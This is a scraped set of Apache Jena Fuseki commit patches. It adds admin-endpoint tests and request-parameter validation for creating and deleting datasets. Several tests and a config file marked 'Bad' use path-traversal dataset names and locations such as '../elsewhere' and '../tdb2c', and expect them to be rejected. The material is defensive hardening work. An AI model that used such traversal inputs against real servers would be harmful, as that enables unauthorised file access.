+        }
+    }
+
+    @Test public void compact_02() {
+        HttpTest.expect400(()->{
+            JsonValue v = httpPostRtnJSON(ServerCtl.urlRoot() + "$/" + opCompact + "/noSuchDataset");
+        });
+    }
+
+    private void assumeNotWindows() {
+        if (SystemUtils.IS_OS_WINDOWS)
+            throw new AssumptionViolatedException("Test may be unstable on Windows due to inability to delete memory-mapped files");
+    }
+
+    @Test public void stats_1() {
+        JsonValue v = execGetJSON(ServerCtl.urlRoot()+"$/"+opStats);
+        checkJsonStatsAll(v);
+    }
+
+    @Test public void stats_2() {
+        addTestDataset();
+        JsonValue v = execGetJSON(ServerCtl.urlRoot()+"$/"+opStats+ServerCtl.datasetPath());
+        checkJsonStatsAll(v);
+        deleteDataset(dsTest);
+    }
+
+    @Test public void stats_3() {
+        addTestDataset();
+        HttpTest.expect404(()-> execGetJSON(ServerCtl.urlRoot()+"$/"+opStats+"/DoesNotExist"));
+        deleteDataset(dsTest);
+    }
+
+    @Test public void stats_4() {
+        JsonValue v = execPostJSON(ServerCtl.urlRoot()+"$/"+opStats);
+        checkJsonStatsAll(v);
+    }
+
+    @Test public void stats_5() {
+        addTestDataset();
+        JsonValue v = execPostJSON(ServerCtl.urlRoot()+"$/"+opStats+ServerCtl.datasetPath());
+        checkJsonStatsAll(v);
+        deleteDataset(dsTest);
+    }
+
+    // Async task testing
+
+    private void assertEqualsIgnoreCase(String contenttypejson, String contentType) {}
+
+    private static JsonValue getTask(String taskId) {
+        String url = ServerCtl.urlRoot()+"$/tasks/"+taskId;
+        return httpGetJson(url);
+    }
+
+    private static JsonValue getDatasetDescription(String dsName) {
+        if ( dsName.startsWith("/") )
+            dsName = dsName.substring(1);
+        try (TypedInputStream in = httpGet(ServerCtl.urlRoot() + "$/" + opDatasets + "/" + dsName)) {
+            AssertExtra.assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
+            JsonValue v = JSON.parse(in);
+            return v;
+        }
+    }
+
+    // -- Add
+
+    private static void addTestDataset() {
+        addTestDataset(fileBase+"config-ds-plain-1.ttl");
+    }
+
+    private static void addTestDatasetInf() {
+        addTestDataset(fileBase+"config-ds-inf.ttl");
+    }
+
+    private static void addTestDatasetTDB2(String DBname) {
+        Objects.nonNull(DBname);
+        if ( DBname.equals(dsTestTdb2a) ) {
+            addTestDataset(fileBase+"config-tdb2a.ttl");
+            return;
+        }
+        if ( DBname.equals(dsTestTdb2b) ) {
+            addTestDataset(fileBase+"config-tdb2b.ttl");
+            return;
+        }
+        throw new IllegalArgumentException("No configuration for "+DBname);
+    }
+
+    private static void addTestDataset(String filename) {
+        withFileEnabled(()->{
+            addTestDatasetPerform(filename);
+        });
+    }
+
+    private static void addTestDatasetPerform(String filename) {
+        try {
+            Path f = Path.of(filename);
+            BodyPublisher body = BodyPublishers.ofFile(f);
+            String ct = WebContent.contentTypeTurtle;
+            httpPost(ServerCtl.urlRoot()+"$/"+opDatasets, ct, body);
+        } catch (FileNotFoundException e) {
+            IO.exception(e);
+        }
+    }
+
+    private static void deleteDataset(String name) {
+        httpDelete(ServerCtl.urlRoot()+"$/"+opDatasets+"/"+name);
+    }
+
+    private static void checkTask(JsonValue v) {
+        assertNotNull(v);
+        assertTrue(v.isObject());
+        //System.out.println(v);
+        JsonObject obj = v.getAsObject();
+        try {
+            assertTrue(obj.hasKey("task"));
+            assertTrue(obj.hasKey("taskId"));
+            // Not present until it runs : "started"
+        } catch (AssertionError ex) {
+            System.out.println(obj);
+            throw ex;
+        }
+    }
+
+   private static void checkInTasks(String x) {
+       String url = ServerCtl.urlRoot()+"$/tasks";
+       JsonValue v = httpGetJson(url);
+       assertTrue(v.isArray());
+       JsonArray array = v.getAsArray();
+       int found = 0;
+       for ( int i = 0; i < array.size(); i++ ) {
+           JsonValue jv = array.get(i);
+           assertTrue(jv.isObject());
+           JsonObject obj = jv.getAsObject();
+           checkTask(obj);
+           if ( obj.getString("taskId").equals(x) ) {
+               found++;
+           }
+        }
+       assertEquals("Occurrence of taskId count", 1, found);
+    }
+
+   private static List<String> runningTasks(String... x) {
+       String url = ServerCtl.urlRoot()+"$/tasks";
+       JsonValue v = httpGetJson(url);
+       assertTrue(v.isArray());
+       JsonArray array = v.getAsArray();
+       List<String> running = new ArrayList<>();
+       for ( int i = 0; i < array.size(); i++ ) {
+           JsonValue jv = array.get(i);
+           assertTrue(jv.isObject());
+           JsonObject obj = jv.getAsObject();
+           if ( isRunning(obj) )
+               running.add(obj.getString("taskId"));
+       }
+       return running;
+   }
+
+   /**
+    * Wait for tasks to all finish.
+    * Algorithm: wait for {@code pause}, then start polling for upto {@code maxWaitMillis}.
+    * Intervals in milliseconds.
+    * @param pauseMillis
+    * @param pollInterval
+    * @param maxWaitMillis
+    * @return
+    */
+   private static boolean waitForTasksToFinish(int pauseMillis, int pollInterval, int maxWaitMillis) {
+       // Wait for them to finish.
+       // Divide into chunks
+       if ( pauseMillis > 0 )
+           Lib.sleep(pauseMillis);
+       long start = System.currentTimeMillis();
+       long endTime = start + maxWaitMillis;
+       final int intervals = maxWaitMillis/pollInterval;
+       long now = start;
+       for (int i = 0 ; i < intervals ; i++ ) {
+           // May have waited (much) longer than the pollInterval : heavily loaded build systems.
+           if ( now-start > maxWaitMillis )
+               break;
+           List<String> x = runningTasks();
+           if ( x.isEmpty() )
+               return true;
+           Lib.sleep(pollInterval);
+           now = System.currentTimeMillis();
+       }
+       return false;
+   }
+
+   private static boolean isRunning(JsonObject taskObj) {
+       checkTask(taskObj);
+       return taskObj.hasKey("started") &&  ! taskObj.hasKey("finished");
+   }
+
+    private static void askPing(String name) {
+        if ( name.startsWith("/") )
+            name = name.substring(1);
+        try ( TypedInputStream in = httpGet(ServerCtl.urlRoot()+name+"/sparql?query=ASK%7B%7D") ) {
+            IO.skipToEnd(in);
+        }
+    }
+
+    private static void adminPing(String name) {
+        try ( TypedInputStream in = httpGet(ServerCtl.urlRoot()+"$/"+opDatasets+"/"+name) ) {
+            IO.skipToEnd(in);
+        }
+    }
+
+    private static void checkExists(String name)  {
+        adminPing(name);
+        askPing(name);
+    }
+
+    private static void checkNotThere(String name) {
+        String n = (name.startsWith("/")) ? name.substring(1) : name;
+        // Check gone exists.
+        HttpTest.expect404(()->  adminPing(n) );
+        HttpTest.expect404(() -> askPing(n) );
+    }
+
+    private static void checkJsonDatasetsAll(JsonValue v) {
+        assertNotNull(v.getAsObject().get("datasets"));
+        JsonArray a = v.getAsObject().get("datasets").getAsArray();
+        for ( JsonValue v2 : a )
+            checkJsonDatasetsOne(v2);
+    }
+
+    private static void checkJsonDatasetsOne(JsonValue v) {
+        assertTrue(v.isObject());
+        JsonObject obj = v.getAsObject();
+        assertNotNull(obj.get("ds.name"));
+        assertNotNull(obj.get("ds.services"));
+        assertNotNull(obj.get("ds.state"));
+        assertTrue(obj.get("ds.services").isArray());
+    }
+
+    private static void checkJsonStatsAll(JsonValue v) {
+        assertNotNull(v.getAsObject().get("datasets"));
+        JsonObject a = v.getAsObject().get("datasets").getAsObject();
+        for ( String dsname : a.keys() ) {
+            JsonValue obj = a.get(dsname).getAsObject();
+            checkJsonStatsOne(obj);
+        }
+    }
+
+    private static void checkJsonStatsOne(JsonValue v) {
+        checkJsonStatsCounters(v);
+        JsonObject obj1 = v.getAsObject().get("endpoints").getAsObject();
+        for ( String srvName : obj1.keys() ) {
+            JsonObject obj2 = obj1.get(srvName).getAsObject();
+            assertTrue(obj2.hasKey("description"));
+            assertTrue(obj2.hasKey("operation"));
+            checkJsonStatsCounters(obj2);
+        }
+    }
+
+    private static void checkJsonStatsCounters(JsonValue v) {
+        JsonObject obj = v.getAsObject();
+        assertTrue(obj.hasKey("Requests"));
+        assertTrue(obj.hasKey("RequestsGood"));
+        assertTrue(obj.hasKey("RequestsBad"));
+    }
+
+    private static JsonValue execGetJSON(String url) {
+        try ( TypedInputStream in = httpGet(url) ) {
+            AssertExtra.assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
+            return JSON.parse(in);
+        }
+    }
+
+    private static JsonValue execPostJSON(String url) {
+        try ( TypedInputStream in = httpPostStream(url, null, null, null) ) {
+            AssertExtra.assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
+            return JSON.parse(in);
+        }
+    }
+
+    static int count(RDFConnection conn) {
+        try ( QueryExecution qExec = conn.query("SELECT (count(*) AS ?C) { ?s ?p ?o }")) {
+            return qExec.execSelect().next().getLiteral("C").getInt();
+        }
+    }
+}
diff --git a/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdminAddDeleteDatasetTemplate.java b/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdminAddDeleteDatasetTemplate.java
new file mode 100644
index 00000000000..8f4015a280b
--- /dev/null
+++ b/jena-fuseki2/jena-fuseki-webapp/src/test/java/org/apache/jena/fuseki/TestWebappAdminAddDeleteDatasetTemplate.java
@@ -0,0 +1,268 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.jena.fuseki;
+
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opDatasets;
+import static org.apache.jena.http.HttpOp.httpPost;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.FileNotFoundException;
+import java.net.http.HttpRequest.BodyPublisher;
+import java.net.http.HttpRequest.BodyPublishers;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.concurrent.TimeUnit;
+
+import org.apache.jena.atlas.io.IO;
+import org.apache.jena.atlas.logging.LogCtl;
+import org.apache.jena.atlas.web.HttpException;
+import org.apache.jena.atlas.web.TypedInputStream;
+import org.apache.jena.base.Sys;
+import org.apache.jena.fuseki.webapp.FusekiWebapp;
+import org.apache.jena.http.HttpOp;
+import org.apache.jena.query.QueryExecution;
+import org.apache.jena.rdfconnection.RDFConnection;
+import org.apache.jena.riot.WebContent;
+import org.apache.jena.sparql.exec.http.Params;
+import org.apache.jena.web.HttpSC;
+import org.apache.jena.web.HttpSC.Code;
+import org.awaitility.Awaitility;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/** Tests of the admin functionality */
+public class TestWebappAdminAddDeleteDatasetTemplate extends AbstractFusekiWebappTest {
+
+    // Name of the dataset in the assembler file.
+    static String dsTest      = "test-ds1";
+    static String dsTestInf   = "test-ds4";
+
+    // There are two Fuseki-TDB2 tests: add_delete_dataset_6() and compact_01().
+    //
+    // On certain build systems (GH action/Linux under load, ASF Jenkins sometimes),
+    // add_delete_dataset_6 fails (transactions active), or compact_01 (gets a 404),
+    // if the two databases are the same.
+    static String dsTestTdb2a = "test-tdb2a";
+    static String dsTestTdb2b = "test-tdb2b";
+    static String fileBase    = "testing/";
+
+    @Before public void setLogging() {
+        LogCtl.setLevel(Fuseki.backupLogName, "ERROR");
+        LogCtl.setLevel(Fuseki.compactLogName,"ERROR");
+        LogCtl.setLevel(Fuseki.adminLogName,"ERROR");
+        Awaitility.setDefaultPollDelay(20,TimeUnit.MILLISECONDS);
+        Awaitility.setDefaultPollInterval(50,TimeUnit.MILLISECONDS);
+    }
+
+    @After public void unsetLogging() {
+        LogCtl.setLevel(Fuseki.backupLogName, "WARN");
+        LogCtl.setLevel(Fuseki.compactLogName,"WARN");
+        LogCtl.setLevel(Fuseki.adminLogName,"WARN");
+    }
+
+    @Test public void add_dataset_01() {
+        testAddDataset("db_1");
+    }
+
+    @Test public void add_dataset_02() {
+        testAddDataset( "/db_2");
+    }
+
+    // Do as a file - which is blocked.
+    @Test public void add_dataset_99() {
+        expect400(()->addTestDataset(fileBase+"config-ds-plain-1.ttl"));
+    }
+
+    private static void addTestDataset(String filename) {
+        try {
+            Path f = Path.of(filename);
+            BodyPublisher body = BodyPublishers.ofFile(f);
+            String ct = WebContent.contentTypeTurtle;
+            httpPost(ServerCtl.urlRoot()+"$/"+opDatasets, ct, body);
+        } catch (FileNotFoundException e) {
+            IO.exception(e);
+        }
+    }
+
+    @Test public void add_dataset_bad_02() {
+        badAddDataserverRequest("bad_2 illegal");
+    }
+
+    @Test public void add_dataset_bad_03() {
+        badAddDataserverRequest("bad_3/path");
+    }
+
+    @Test public void add_dataset_bad_04() {
+        badAddDataserverRequest("");
+    }
+
+    @Test public void add_dataset_bad_05() {
+        badAddDataserverRequest("   ");
+    }
+
+    @Test public void add_dataset_bad_06() {
+        badAddDataserverRequest("bad_6_AB CD");
+    }
+
+    @Test public void add_dataset_bad_07() {
+        badAddDataserverRequest("..");
+    }
+
+    @Test public void add_dataset_bad_08() {
+        badAddDataserverRequest("/..");
+    }
+
+    @Test public void add_dataset_bad_09() {
+        badAddDataserverRequest("/../elsewhere");
+    }
+
+    @Test public void add_dataset_bad_10() {
+        badAddDataserverRequest("//bad_10");
+    }
+
+    // add-delete
+
+    @Test public void add_delete_mem_1() {
+        testAddDeleteAdd("db_add_delete_1", "mem", false, false);
+    }
+
+    @Test public void add_delete_tdb_1() {
+        if ( Sys.isWindows  )
+            return;
+        testAddDeleteAdd("db_add_delete_tdb_1", "tdb2", false, true);
+    }
+
+    @Test public void add_delete_tdb_2() {
+        if ( Sys.isWindows  )
+            return;
+        String dbName = "db_add_delete_tdb_2";
+        testAddDeleteAdd(dbName, "tdb2", false, true);
+    }
+
+    // Attempt to add a in-memory dataset. Used to test the name checking.
+    private void testAddDataset(String dbName) {
+        Params params = Params.create().add("dbName", dbName).add("dbType", "mem");
+        // Use the template
+        String actionURL = ServerCtl.urlRoot()+"$/datasets";
+        HttpOp.httpPostForm(actionURL, params);
+        String datasetURL = dbName.startsWith("/")
+                ? ServerCtl.urlRoot()+(dbName.substring(1))
+                : ServerCtl.urlRoot()+dbName;
+        assertTrue(exists(datasetURL));
+    }
+
+    private void testAddDeleteAdd(String dbName, String dbType, boolean alreadyExists, boolean hasFiles) {
+        String datasetURL = ServerCtl.urlRoot()+dbName;
+        Params params = Params.create().add("dbName", dbName).add("dbType", dbType);
+
+        if ( alreadyExists )
+            assertTrue(exists(datasetURL));
+        else
+            assertFalse(exists(datasetURL));
+
+        // Use the template
+        HttpOp.httpPostForm(ServerCtl.urlRoot()+"$/datasets", params);
+
+        RDFConnection conn = RDFConnection.connect(ServerCtl.urlRoot()+dbName);
+        conn.update("INSERT DATA { <x:s> <x:p> 123 }");
+        int x1 = count(conn);
+        assertEquals(1, x1);
+
+        Path pathDB = FusekiWebapp.dirDatabases.resolve(dbName);
+
+        if ( hasFiles )
+            assertTrue(Files.exists(pathDB));
+
+        HttpOp.httpDelete(ServerCtl.urlRoot()+"$/datasets/"+dbName);
+
+        assertFalse(exists(datasetURL));
+
+        //if ( hasFiles )
+        assertFalse(Files.exists(pathDB));
+
+        // Recreate : no contents.
+        HttpOp.httpPostForm(ServerCtl.urlRoot()+"$/datasets", params);
+        assertTrue(exists(datasetURL));
+        int x2 = count(conn);
+        assertEquals(0, x2);
+        if ( hasFiles )
+            assertTrue(Files.exists(pathDB));
+    }
+
+    private void badAddDataserverRequest(String dbName) {
+        expect400(()->testAddDataset(dbName));
+    }
+
+    private static boolean exists(String url) {
+        try ( TypedInputStream in = HttpOp.httpGet(url) ) {
+            return true;
+        } catch (HttpException ex) {
+            if ( ex.getStatusCode() == HttpSC.NOT_FOUND_404 )
+                return false;
+            throw ex;
+        }
+    }
+
+    static int count(RDFConnection conn) {
+        try ( QueryExecution qExec = conn.query("SELECT (count(*) AS ?C) { ?s ?p ?o }")) {
+            return qExec.execSelect().next().getLiteral("C").getInt();
+        }
+    }
+
+    // -- From fusekiTestLib
+
+    public static void expect400(Runnable runnable) {
+        expectFail(runnable, HttpSC.Code.BAD_REQUEST);
+    }
+
+    public static void expect401(Runnable runnable) {
+        expectFail(runnable, HttpSC.Code.UNAUTHORIZED);
+    }
+
+    public static void expect403(Runnable runnable) {
+        expectFail(runnable, HttpSC.Code.FORBIDDEN);
+    }
+
+    public static void expect404(Runnable runnable) {
+        expectFail(runnable, HttpSC.Code.NOT_FOUND);
+    }
+
+    public static void expect409(Runnable runnable) {
+        expectFail(runnable, HttpSC.Code.CONFLICT);
+    }
+
+    public static void expectFail(Runnable runnable, Code code) {
+        if ( code == null || ( 200 <= code.getCode() && code.getCode() < 300 ) ) {
+            runnable.run();
+            return;
+        }
+        try {
+          runnable.run();
+          fail("Failed: Got no exception: Expected HttpException "+code.getCode());
+      } catch (HttpException ex) {
+          if ( ex.getStatusCode() == code.getCode() )
+              return;
+          throw ex;
+      }
+    }
+}
diff --git a/jena-fuseki2/jena-fuseki-webapp/testing/config-tdb2c.ttl b/jena-fuseki2/jena-fuseki-webapp/testing/config-tdb2c.ttl
new file mode 100644
index 00000000000..d71cf281a21
--- /dev/null
+++ b/jena-fuseki2/jena-fuseki-webapp/testing/config-tdb2c.ttl
@@ -0,0 +1,19 @@
+## Licensed under the terms of http://www.apache.org/licenses/LICENSE-2.0
+
+PREFIX :        <#>
+PREFIX fuseki:  <http://jena.apache.org/fuseki#>
+PREFIX rdf:     <http://www.w3.org/1999/02/22-rdf-syntax-ns#>
+
+PREFIX rdfs:    <http://www.w3.org/2000/01/rdf-schema#>
+PREFIX ja:      <http://jena.hpl.hp.com/2005/11/Assembler#>
+PREFIX tdb2:    <http://jena.apache.org/2016/tdb#>
+
+<#service1> rdf:type fuseki:Service ;
+    fuseki:name           "test-tdb2b" ;
+    fuseki:endpoint       [ fuseki:name "sparql" ;
+                            fuseki:operation fuseki:query ] ;
+    fuseki:dataset        <#dataset> .
+
+<#dataset> rdf:type      tdb2:DatasetTDB2 ;
+    # Bad.
+    tdb2:location "../tdb2c" .", "url": "https://github.com/apache/jena/commit/03c5265910aa3a27907bf54f6b4aaae3409afa4f.patch" }, { "commit_message": "[PATCH] GH-3288: Validate request parameters; refactor tests .../servlets/TestCrossOriginFilterMock.java | 6 +- .../jena/fuseki/mgt/ActionDatasets.java | 304 ++++++--- .../apache/jena/fuseki/mgt/FusekiAdmin.java | 18 +- .../jena/fuseki/mgt/FusekiServerCtl.java | 7 +- .../jena/fuseki/main/FusekiTestLib.java | 4 + .../apache/jena/fuseki/mod/TS_FusekiMods.java | 18 +- .../fuseki/mod/admin/FusekiServerPerTest.java | 109 ++++ .../mod/admin/FusekiServerPerTestClass.java | 138 ++++ .../jena/fuseki/mod/admin/TSMod_Admin.java | 33 + .../jena/fuseki/mod/admin/TestAdmin.java | 617 +----------------- .../admin/TestAdminAddDatasetTemplate.java | 241 +++++++ .../admin/TestAdminAddDatasetsConfigFile.java | 318 +++++++++ .../mod/admin/TestAdminDatabaseOps.java | 484 ++++++++++++++ .../mod/admin/TestTemplateAddDataset.java | 183 ------ .../testing/Config/config-tdb2b.ttl | 2 +- .../testing/Config/config-tdb2c.ttl | 19 + 16 files changed, 1636 insertions(+), 865 deletions(-) create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/FusekiServerPerTest.java create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/FusekiServerPerTestClass.java create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TSMod_Admin.java create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminAddDatasetTemplate.java create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminAddDatasetsConfigFile.java create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminDatabaseOps.java delete mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestTemplateAddDataset.java create mode 100644 jena-fuseki2/jena-fuseki-main/testing/Config/config-tdb2c.ttl", "patch_text_b64": "From 35350569b4c1fd432d92e7c92af9597c4400debe Mon Sep 17 00:00:00 2001
From: Andy Seaborne <andy@apache.org>
Date: Fri, 13 Jun 2025 09:08:02 +0100
Subject: [PATCH] GH-3288: Validate request parameters; refactor tests

---
 .../servlets/TestCrossOriginFilterMock.java   |   6 +-
 .../jena/fuseki/mgt/ActionDatasets.java       | 304 ++++++---
 .../apache/jena/fuseki/mgt/FusekiAdmin.java   |  18 +-
 .../jena/fuseki/mgt/FusekiServerCtl.java      |   7 +-
 .../jena/fuseki/main/FusekiTestLib.java       |   4 +
 .../apache/jena/fuseki/mod/TS_FusekiMods.java |  18 +-
 .../fuseki/mod/admin/FusekiServerPerTest.java | 109 ++++
 .../mod/admin/FusekiServerPerTestClass.java   | 138 ++++
 .../jena/fuseki/mod/admin/TSMod_Admin.java    |  33 +
 .../jena/fuseki/mod/admin/TestAdmin.java      | 617 +-----------------
 .../admin/TestAdminAddDatasetTemplate.java    | 241 +++++++
 .../admin/TestAdminAddDatasetsConfigFile.java | 318 +++++++++
 .../mod/admin/TestAdminDatabaseOps.java       | 484 ++++++++++++++
 .../mod/admin/TestTemplateAddDataset.java     | 183 ------
 .../testing/Config/config-tdb2b.ttl           |   2 +-
 .../testing/Config/config-tdb2c.ttl           |  19 +
 16 files changed, 1636 insertions(+), 865 deletions(-)
 create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/FusekiServerPerTest.java
 create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/FusekiServerPerTestClass.java
 create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TSMod_Admin.java
 create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminAddDatasetTemplate.java
 create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminAddDatasetsConfigFile.java
 create mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminDatabaseOps.java
 delete mode 100644 jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestTemplateAddDataset.java
 create mode 100644 jena-fuseki2/jena-fuseki-main/testing/Config/config-tdb2c.ttl

diff --git a/jena-fuseki2/jena-fuseki-core/src/test/java/org/apache/jena/fuseki/servlets/TestCrossOriginFilterMock.java b/jena-fuseki2/jena-fuseki-core/src/test/java/org/apache/jena/fuseki/servlets/TestCrossOriginFilterMock.java
index e0d57be7f67..4329902347e 100644
--- a/jena-fuseki2/jena-fuseki-core/src/test/java/org/apache/jena/fuseki/servlets/TestCrossOriginFilterMock.java
+++ b/jena-fuseki2/jena-fuseki-core/src/test/java/org/apache/jena/fuseki/servlets/TestCrossOriginFilterMock.java
@@ -23,8 +23,8 @@
 import jakarta.servlet.ServletException;
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
-import org.junit.Before;
-import org.junit.Test;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
 
 import java.io.IOException;
 import java.util.Collections;
@@ -73,7 +73,7 @@ public Enumeration<String> getInitParameterNames() {
     HttpServletResponse httpServletResponse = mock(HttpServletResponse.class);
     FilterChain chain = mock(FilterChain.class);
 
-    @Before
+    @BeforeEach
     public void setUpTest() {
         when(httpServletRequest.getHeader("Origin")).thenReturn("http://localhost:12335");
         when(httpServletRequest.getHeaders("Connection")).thenReturn(Collections.emptyEnumeration());
diff --git a/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/ActionDatasets.java b/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/ActionDatasets.java
index 0bc1a2c74b6..5736235c3fc 100644
--- a/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/ActionDatasets.java
+++ b/jena-fuseki2/jena-fuseki-main/src/main/java/org/apache/jena/fuseki/mgt/ActionDatasets.java
@@ -20,8 +20,6 @@
 
 import static java.lang.String.format;
 
-import java.io.IOException;
-import java.io.OutputStream;
 import java.io.StringReader;
 import java.nio.file.Files;
 import java.nio.file.Path;
@@ -35,25 +33,28 @@
 import org.apache.jena.atlas.json.JsonValue;
 import org.apache.jena.atlas.lib.FileOps;
 import org.apache.jena.atlas.lib.InternalErrorException;
+import org.apache.jena.atlas.lib.NotImplemented;
 import org.apache.jena.atlas.logging.FmtLog;
 import org.apache.jena.atlas.web.ContentType;
 import org.apache.jena.datatypes.xsd.XSDDatatype;
+import org.apache.jena.dboe.base.file.Location;
+import org.apache.jena.fuseki.FusekiConfigException;
 import org.apache.jena.fuseki.build.DatasetDescriptionMap;
 import org.apache.jena.fuseki.build.FusekiConfig;
 import org.apache.jena.fuseki.ctl.ActionContainerItem;
 import org.apache.jena.fuseki.ctl.JsonDescription;
 import org.apache.jena.fuseki.metrics.MetricsProvider;
-import org.apache.jena.fuseki.server.DataAccessPoint;
-import org.apache.jena.fuseki.server.DataService;
-import org.apache.jena.fuseki.server.FusekiVocab;
-import org.apache.jena.fuseki.server.ServerConst;
+import org.apache.jena.fuseki.server.*;
 import org.apache.jena.fuseki.servlets.ActionLib;
 import org.apache.jena.fuseki.servlets.HttpAction;
 import org.apache.jena.fuseki.servlets.ServletOps;
-import org.apache.jena.fuseki.system.DataUploader;
 import org.apache.jena.fuseki.system.FusekiNetLib;
+import org.apache.jena.graph.Graph;
 import org.apache.jena.graph.Node;
+import org.apache.jena.query.Query;
+import org.apache.jena.query.QueryFactory;
 import org.apache.jena.rdf.model.*;
+import org.apache.jena.rdf.model.impl.Util;
 import org.apache.jena.riot.*;
 import org.apache.jena.riot.system.StreamRDF;
 import org.apache.jena.riot.system.StreamRDFLib;
@@ -61,15 +62,17 @@
 import org.apache.jena.sparql.core.DatasetGraph;
 import org.apache.jena.sparql.core.Quad;
 import org.apache.jena.sparql.core.assembler.AssemblerUtils;
+import org.apache.jena.sparql.exec.QueryExec;
+import org.apache.jena.sparql.exec.RowSet;
 import org.apache.jena.sparql.util.FmtUtils;
+import org.apache.jena.system.G;
+import org.apache.jena.tdb1.TDB1;
+import org.apache.jena.tdb2.TDB2;
 import org.apache.jena.vocabulary.RDF;
 import org.apache.jena.web.HttpSC;
 
 public class ActionDatasets extends ActionContainerItem {
-
-
     static private Property pServiceName = FusekiVocab.pServiceName;
-    //static private Property pStatus = FusekiVocab.pStatus;
 
     private static final String paramDatasetName    = "dbName";
     private static final String paramDatasetType    = "dbType";
@@ -121,43 +124,55 @@ protected JsonValue execPostContainer(HttpAction action) {
             ServletOps.errorBadRequest("Bad request - Content-Type or both parameters dbName and dbType required");
 
         boolean succeeded = false;
-        String systemFileCopy = null;
+        // Used in clear-up.
         String configFile = null;
+        String systemFileCopy = null;
 
+        FusekiServerCtl serverCtl = FusekiServerCtl.get(action.getServletContext());
         DatasetDescriptionMap registry = new DatasetDescriptionMap();
 
-        synchronized (FusekiAdmin.systemLock) {
+        synchronized (serverCtl.getServerlock()) {
             try {
-                // Where to build the templated service/database.
-                Model descriptionModel = ModelFactory.createDefaultModel();
-                StreamRDF dest = StreamRDFLib.graph(descriptionModel.getGraph());
-
-                if ( hasParams || WebContent.isHtmlForm(ct) )
-                    assemblerFromForm(action, dest);
-                else if ( WebContent.isMultiPartForm(ct) )
-                    assemblerFromUpload(action, dest);
-                else
-                    assemblerFromBody(action, dest);
+                // Get the request input.
+                Model modelFromRequest = ModelFactory.createDefaultModel();
+                StreamRDF dest = StreamRDFLib.graph(modelFromRequest.getGraph());
 
-                // ----
-                // Keep a persistent copy immediately.  This is not used for
-                // anything other than being "for the record".
-                systemFileCopy = FusekiServerCtl.dirSystemFileArea.resolve(uuid.toString()).toString();
-                try ( OutputStream outCopy = IO.openOutputFile(systemFileCopy) ) {
-                    RDFDataMgr.write(outCopy, descriptionModel, Lang.TURTLE);
+                boolean templatedRequest = false;
+
+                try {
+                    if ( hasParams || WebContent.isHtmlForm(ct) ) {
+                        assemblerFromForm(action, dest);
+                        templatedRequest = true;
+                        // dbName, dbType
+                    } else if ( WebContent.isMultiPartForm(ct) ) {
+                        // Cannot be enabled.
+                        ServletOps.errorBadRequest("Service configuration from a multipart upload not supported");
+                        //assemblerFromUpload(action, dest);
+                    } else {
+                        if ( ! FusekiAdmin.allowConfigFiles() )
+                            ServletOps.errorBadRequest("Service configuration from an upload file not supported");
+                        assemblerFromBody(action, dest);
+                    }
+                } catch (RiotException ex) {
+                    ActionLib.consumeBody(action);
+                    action.log.warn(format("[%d] Failed to read configuration: %s", action.id, ex.getMessage()));
+                    ServletOps.errorBadRequest("Failed to read configuration");
                 }
 
                 // ----
                 // Add the dataset and graph wiring for assemblers
                 Model model = ModelFactory.createDefaultModel();
-                model.add(descriptionModel);
+                model.add(modelFromRequest);
                 model = AssemblerUtils.prepareForAssembler(model);
 
                 // ----
                 // Process configuration.
-
                 // Returns the "service fu:name NAME" statement
                 Statement stmt = findService(model);
+                if ( stmt == null ) {
+                    action.log.warn(format("[%d] No service name", action.id));
+                    ServletOps.errorBadRequest(format("No service name"));
+                }
 
                 Resource subject = stmt.getSubject();
